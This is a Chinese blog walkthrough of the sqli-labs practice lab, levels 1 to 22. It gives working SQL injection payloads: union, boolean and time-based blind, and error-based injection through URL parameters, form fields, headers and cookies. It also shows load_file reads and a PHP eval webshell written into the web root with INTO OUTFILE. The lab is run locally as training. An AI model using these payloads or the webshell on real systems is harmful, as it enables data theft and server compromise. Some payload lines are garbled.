sqli-labs通关嘿嘿~

sqli-labs通关
所借助材料:通关手册
在这里插入图片描述

less-1

这提示让我写个参数id,且要值类型为数字
在这里插入图片描述?id=1
在这里插入图片描述

判断注入:参数后面随便输,异常就是说明数据代入了,存在注入。(如果404或者跳转,那说明该网站对输入进行检测,大概率没有注入)

随便输入字符,没有出现注入信息
在这里插入图片描述查看源码,判断出 可使用单引号破坏sql语句结构
在这里插入图片描述

mysql_error() 函数返回上一个 MySQL 操作产生的文本错误信息。

?id=1后面加上 ‘
提交到 sql 中的 1’在经过 sql 语句构造后形成 ‘1’’ LIMIT 0,1, 多加了一个 ’ 。

SELECT * FROM users WHERE id='1'' LIMIT 0,1

在这里插入图片描述如何 将多余的 ‘ 去掉呢? 尝试 ‘or 1=1–+
参考博文

使用–+放在最后注释多余部分,而mysql中的注释符为#和-- 却不能直接使用
原因是url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#
将#号改成url的编码%23就可以了

直接写#报错,未成功注释掉后面的代码
在这里插入图片描述#改为%23即可
在这里插入图片描述

–问题

在这里插入图片描述
使用–+
在这里插入图片描述

对比上面–的效果,这里发现+号在语句中变成了空格。用来和后面的单引号分隔开,将后面的语句注释。
了解原理后便知道了–无法使用的原因,是因为–与后面的这个单引号连接在一起,无法形成有效的mysql语句。

?id=1' or '1'='1

在这里插入图片描述

Order by 对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3,超过 3 就会报错。 ‘order by 4–+的结果显示结果超出。

在这里插入图片描述
使用order by拼接在sql中,意思根据order by的列进行排序,且判断列数
在这里插入图片描述

在这里插入图片描述

?id=1' order by 4 --+

在这里插入图片描述

union 联合注入,union 的作用是将两个 sql 语句进行联合。
强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。union all 与 union 的区别是增加了去重的功能。

当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,
当前一个语句选择的内容为空,我们这里就 将后面的语句的内容显示出来 )此处前台页面返 回了我们构造的 union 的数据。

展示?id=1' union select 1,2,3 --+
只显示了第一条语句的执行结果
通道位置并未显示
在这里插入图片描述?id=-1' union select 1,2,3 --+

SELECT * FROM users WHERE id='-1' union select 1,2,3 -- '

在这里插入图片描述

union select只能查询两个表中共同都有的字段,如果一个字段在另外一个表中没有,就会报错

在这里插入图片描述

爆数据库

?id=-1' union select 1,database(),version() --+
SELECT * FROM users WHERE id='-1' union select 1,database(),version() -- ' LIMIT 0,1

在这里插入图片描述
在这里插入图片描述
mysql服务里,有个名为information_schema的数据库

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| challenges         |
| mysql              |
| performance_schema |
| security           |
| test               |
+--------------------+
6 rows in set (0.01 sec)

information_schema数据库里有个名为tables的表(即 information_schema.tables),存储了所有数据库的表信息

mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
| INNODB_BUFFER_PAGE                    |
| INNODB_TRX                            |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_LOCK_WAITS                     |
| INNODB_CMPMEM                         |
| INNODB_CMP                            |
| INNODB_LOCKS                          |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_RESET                      |
| INNODB_BUFFER_PAGE_LRU                |
+---------------------------------------+
40 rows in set (0.01 sec)

查询information_schema.tables表的信息,发现有个列名为table_schema,记录了每个表所在的数据库
TABLE_NAME 记录表名

mysql> select * from tables;

在这里插入图片描述

根据数据库 table_schema=‘security’
爆表名

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
SELECT * FROM users WHERE id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- ' LIMIT 0,1

在这里插入图片描述

爆 users 表的列

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
SELECT * FROM users WHERE id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- ' LIMIT 0,1

在这里插入图片描述

爆数据

?id=-1' union select 1,username,password from users where id=3 --+
SELECT * FROM users WHERE id='-1' union select 1,username,password from users where id=3 -- ' LIMIT 0,1

在这里插入图片描述

less-2

与less-1大差不差
只不过是注入的时候去掉 ‘

?id=1
?id=1'
?id=1 --+
?id=1 order by 1,2,3 --+
?id=-1 union select 1,2,3 --+
?id=-1 union select 1,database(),version() --+
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
?id=-1 union select 1,username,password from users where id=2 --+

?id=1’的报错提示
在这里插入图片描述

源码
在这里插入图片描述与less-1 ↓的区别
在这里插入图片描述

less-3

先用?id=1’探测
在这里插入图片描述说明有括号,构造payload如下↓,成功

?id=1') --+
?id=1') order by 1,2,3 --+
?id=111') union select 1,2,3 --+
懒得写了

源码
在这里插入图片描述

less-4

单引号不行,就试试双引号

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1 

在这里插入图片描述

?id=1") --+
?id=1") order by 1,2,3 --+
?id=-1") union select 1,2,3 --+
?id=-1") union select 1,database(),version() --+

源码

less-5 盲注

在这里插入图片描述
sql语法结构和less-1相同,只是 即使正确也不再显示数据库信息了,只显示 You are in …
这就要盲注
在这里插入图片描述

• 基于布尔 SQL 盲注
• 基于时间的 SQL 盲注
• 基于报错的 SQL 盲注

1:基于布尔 SQL 盲注----------构造逻辑判断

Sql注入截取字符串常用函数
mid(),substr(),left()

Sql用例:
(1)MID(DATABASE(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。

Left()函数:Left()得到字符串左部指定个数的字符

ORD()函数,此函数为返回第一个字符的ASCII码,经常与上面的函数进行组合使用。
例如ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也即是‘r’


>left(database(),1)>’s’ //left()函数 Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位 
> ▲ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 
> 0,1),1,1))=101 --+ //substr()函数,ascii()函数 Explain:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。
> Ascii()将某个字符转换 为 ascii 值 
> ▲ascii(substr((select database()),1,1))=98
>  ▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 
>  //ORD()函数,MID()函数 Explain:mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位 Ord()函数同 ascii(),
>  将字符转为 ascii 值

regexp 正则注入

sql 盲注之正则表达式攻击

在这里插入图片描述在这里插入图片描述

格式:IF(Condition,A,B)
意义:当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。

在这里插入图片描述

▲like 匹配注入 和上述的正则类似,mysql 在匹配的时候我们可以用 ike 进行匹配。
用法:select user() like ‘ro%’

在这里插入图片描述

2:基于报错的 SQL 盲注------构造 payload 让信息通过错误提示回显出来

 Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from 
 information_schema.columns group by a;
 以上语句可以简化成如下的形式。
  select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2)) 
  如果关键的表被禁用了,可以使用这种形式 
  select count(*) from (select 1 union select null union select !1) group by 
  concat(version(),floor(rand(0)*2)) 
  如果 rand 被禁用了可以使用用户变量来报错 
  select min(@a:=1) from information_schema.tables group by concat(passwo rd,@a:=(@a+1)%2)

//explain:此处有三个点,一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的 重复,三是 group by 进行分组,大致原理为分组后数据计数时 重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()需 要多试几次才行。

mysql CONCAT() 函数用于将多个字符串连接成一个字符串
语法:
CONCAT(str1,str2,…)
返回结果:
返回结果为连接参数产生的字符串。
如有任何一个参数为NULL ,则返回值为 NULL。

floor()函数是取整

rand函数用于产生0(包含)到1(不包含)的随机数,
rand有两种形式:
1、rand(),即无参数的,此时产生的随机数是随机的,不可重复的;
2、rand(n),即有参数数,如rand(2),相当于指定随机数生产的种子,那么这种情况产生的随机数是可重复的。

在这里插入图片描述

select exp(~(select * FROM(SELECT USER())a)) 
//double 数值类 型超出范围
 //Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上 
 可以参考 exp 报错文章:http://www.cnblogs.com/lcamry/articles/5509124.html select !(select * from (select user())x) -(ps:这是减号) ~0
  //bigint 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上

 可以参考文章 bigint 溢出文章 http://www.cnblogs.com/lcamry/articles/5509112.html 
 ▲extractvalue(1,concat(0x7e,(select @@version),0x7e)) se
 //mysql 对 xml 数据进 行查询和修改的 xpath 函数,xpath 语法错误
  ▲updatexml(1,concat(0x7e,(select @@version),0x7e),1) 
  //mysql 对 xml 数据进行 查询和修改的 xpath 函数,xpath 语法错误 select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; 
  //mysql 重复特性,此处重复了 version,所以报错。

3:基于时间的 SQL 盲注----------延时注入

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 
//if 判断语句,条件为假, 执行 sleep Ps:
遇到以下这种利用 sleep()延时注入语句 
select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8, 9,.')); 
该语句意思是在 0-9 之间找版本号的第一位。
但是在我们实际渗透过程中,这种用法是不可 取的,因为时间会有网速等其他因素的影响,所以会影响结果的判断。
 ▲UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,by 5 seconds’)),null) 
 FROM (select database() as current) as tb1;
  //BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达 式。
  可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执 行成功。
  这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用 sleep() 函数进行注入。

在这里插入图片描述
开始闯关 ~ ~
在这里插入图片描述
说明数据库的版本号 第一位数字是5
当判断数据库版本号第一位数字为7时,则不能正确显示
在这里插入图片描述说明数据库名称长度是8位
在这里插入图片描述判断数据库名称的第一个字母,从a开始,正确的话,会显示you are in。。。 找到临界点s
在这里插入图片描述
依次判断数据库名称的每个字母
在这里插入图片描述假设已经判断出数据库为security
下一步爆数据库里的表

?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit  0,1),1,1))>80--+

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit%20 0,1),1,1))>101--+

Ps:此处 table_schema 可以写成 =’security’,但是我们这里使用的 database(),是因 为此处 database()就是 security。此处同样的使用二分法进行测试,直到测试正确为止。 此处应该是 101,因为第一个表示 email。

在这里插入图片描述
如何获取第一个表的第二位字符呢? 使用 substr(**,2,1)即可。
那如何获取第二个表呢?是 limit 1,1

?id=1' and 1=(select 1 from information_sch ema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1) --+

less-6

在这里插入图片描述

?id=1"and left(version(),1)=5 --+
?id=1"and length(database())=8--+

和less-5差不多,就不写了

less-7 导入导出

提示会用到导入导出数据库的功能
在这里插入图片描述

1、load_file()导出文件
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串
使用条件:
A、必须有权限读取并且文件必须完全可读
and (select count() from mysql.user)>0/ 如果结果返回正常,说明具有读写权限。
and (select count() from mysql.user)>0/ 返回错误,应该是管理员给数据库帐户降权
B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
D、欲读取文件必须小于 max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空
比较难满足的 就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有 administrators 才能访问的文件,users 就别想 load_file 出来。
在实际的注入中,我们有两个难点需要解决:
1. 绝对物理路径
2. 构造有效的畸形语句 (报错爆出绝对路径)
在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务 器的安全将受到严重的威胁。

示例:
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))
利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用。
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”
-1 union select 1,1,1,load_file(c:\boot.ini)
Explain:路径里的/用 **\**代替

mysql注入load_file常用路径
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述os-shell解析

在这里插入图片描述开始less-7 ~

利用文件导入的方式进行注入
在这里插入图片描述

?id=1')) or 1=1 --+

读写权限测试:id=1’)) and (select count(*) from mysql.user)>0 --+ 如果返回正常则有读取权限
我这里没有读写权限
在这里插入图片描述在my.ini文件[mysqld]的后面加上secure_file_priv=‘’,然后重启phpstudy即可
权限搞定,成功写入文件
在这里插入图片描述

写木马
?id=1')) union select 1,2,'<?php @eval($_post[“mima”])?>' into outfile "D:\\phpstudy\\WWW\\sqlilabs\\Less-7\\mima.php" --+
数据库
?id=1')) union select 1,user(),database() into outfile "D:\\phpstudy\\WWW\\sqlilabs\\Less-7\\mima.txt" --+
表名
?id=1')) union select 1,2,table_name from information_schema.tables where table_schema='security'%20 into outfile "D:\\phpstudy\\WWW\\sqlilabs\\Less-7\\mima111.txt" --+

一句话木 马已写入,可通过webshell工具连接
在这里插入图片描述

less-8

与less-5相比,没有了sql报错提示,就没法报错注入了,使用延时注入,布尔注入
在这里插入图片描述

说明数据库名的第一个元素为s
?id=1and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
由此可以猜测出数据库名的第二个字母为e,由此方法推测出后面的字母
?id=1' and if (ascii(substr(database(),2,1))=101,1,sleep(5)) --+
猜用户
?id=1‘ and (select user() like ’%ro%‘)>0 --+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80 --+

less-9

?id=1' and if(ascii(substr((select table_name from information schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))+ 
(由此猜测数据库下的第一个数据表名的第一个字母为e)

(正确的时 候直接返回,不正确的时候等待 5 秒钟,只贴正确的)
猜测数据库:
http://127.0.0.1/sqllib/Less-9/?id=1’ and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
说明第一位是 s (ascii 码是 115)
http://127.0.0.1/sqllib/Less-9/?id=1’ and If(ascii(substr(database(),2,1))=101,1,sleep(5))–+
说明第一位是 e (ascii 码是 101)
… 以此类推,我们知道了数据库名字是 security
猜测 security 的数据表:
http://127.0.0.1/sqllib/Less-9/?id=1’and If(ascii(substr((select table_name from information_s chema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(5))–+
猜测第一个数据表的第一位是 e
,…依次类推,得到 emails
http://127.0.0.1/sqllib/Less-9/?id=1’and If(ascii(substr((select table_name from information_s chema.tables where table_schema=‘security’ limit 1,1),1,1))=114,1,sleep(5))–+
猜测第二个数据表的第一位是 r
,…依次类推,得到 referers …
再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users
猜测 users 表的列:
http://127.0.0.1/sqllib/Less-9/?id=1’and If(ascii(substr((select column_name from information _schema.columns where table_name=‘users’ limit 0,1),1,1))=105,1,sleep(5))–+
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password
猜测 username 的值:
http://127.0.0.1/sqllib/Less-9/?id=1’and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))–+
猜测 username 的第一行的第一位
以此类推,我们得到数据库 username,password 的所有内容

在这里插入图片描述

less-11 post注入

在这里插入图片描述Username:1admin’union select version(),database()#
password:1(任意密码)
在这里插入图片描述

less-12

admin") or 1=1#
在这里插入图片描述
使用order by 语句判断这个表有多少列,order by 2页面回显正常,order by3页面回显不正常,说明此表有2列。
在这里插入图片描述在这里插入图片描述使用 union 联合查询语句查看页面是否有显示位。(我猜显示位就是用户名和密码
") union select 1,2 #
在这里插入图片描述 ") union select 1,database() #
") union select 1,group_concat(table_name) from information_schema.tables where table_schema = ‘security’ #
") union select 1,group_concat(column_name) from information_schema.columns where table_name = ‘users’ #

less-13 盲注

本关不显示登录信息,只能给你一个是否登录成功的返回数据
在这里插入图片描述在这里插入图片描述
admin’) or 1=1#
在这里插入图片描述
admin’)and left(database(),1)>‘a’#
返回正确页面
admin’)and left(database(),1)>‘a’#
返回错误页面
在按位进行猜解的过程中,可以利用二分法,可以有效的降低尝试次 数

less-14

admin"and left(database(),1)>‘a’#
admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
在这里插入图片描述

less-15

本关没有错误提示,那么我们只能靠猜测进行注入。
admin’and If(ascii(substr(database(),1,1))=115,1,sleep(5))#
正确的时候可以直接登录,不正确的时候延时 5 秒。

less-16

admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#

less-17 update

修改密码的操作,update语句
在这里插入图片描述

增删改函数介绍

在这里插入图片描述
在这里插入图片描述

开始

passwd=11’and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
在这里插入图片描述在这里插入图片描述11’and If(ascii(substr(database(),1,1))=115,1,sleep(5))#
在这里插入图片描述在这里插入图片描述在这里插入图片描述

less-18

在这里插入图片描述
对 uname 和 passwd 进行了 check_input()函数的处理,所以我们在输入 uname 和 passwd 上 进行注入是不行的,但是将 useragent 和 ip 插入到数据库中,useragent 修改较为方便,我们从 useragent 入手
在这里插入图片描述
在这里插入图片描述

将 referer 修改为’and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and ‘1’='1

less-20

我们修改 cookie 为 uname=admin1’and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#

less-21

本关对 cookie 进行了 base64 的处理,其他的处理流程和 less20 是一样的
对 uname 进行了 (‘uname’)的处理) Cookie: uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2 VkaXIpLDB4N2UpKSM=

less-22

本关和 less20、less21 是一致的,我们可以从源代码中看到这里对 uname 进行了”uname”的 处理,可以构造 payload: admin1"and extractvalue(1,concat(0x7e,(select database()),0x7e))# Payload 进行 base64 编码后,修改 cookie 再进行提交

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值